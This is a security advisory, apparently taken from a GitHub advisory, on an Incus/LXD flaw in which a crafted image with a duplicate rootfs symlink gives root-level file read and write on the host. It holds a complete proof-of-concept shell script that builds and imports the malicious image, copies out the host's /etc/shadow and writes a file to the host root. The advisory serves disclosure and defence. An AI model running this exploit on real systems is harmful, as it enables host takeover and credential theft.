LXD has arbitrary file read+write on host via rootfs/ symlink in malicious image

Reported from https://github.com/lxc/incus/security/advisories/GHSA-2q3f-q5pq-g8wv

Summary

A specially crafted image can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

Incus validates an image as soon as it sees a normal metadata.yaml and
a rootfs/ entry, but full extraction can later process a duplicate top-level
rootfs symlink. Later, the stopped-container file API opens
d.RootfsPath() and passes that file descriptor to forkfile, which chroots to
it.

metadata.yaml
rootfs/
rootfs -> /

In practice, this allows a malicious actor to access the host's filesystem
with root privileges.

PoC

Below, we map the container's rootfs to / on the host, but it can be
mapped anywhere. We then retrieve the host's /etc/shadow file and
create a file in /.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC rootfs symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-rootfs-symlink.tar

# inject rootfs symlink
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs


incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink


# read
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"

# write
printf 'afrw-rootfs-symlink\n' >"${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/

Impact

Arbitrary file read and write on the host via unsanitized symlink;
possibly leading to command execution.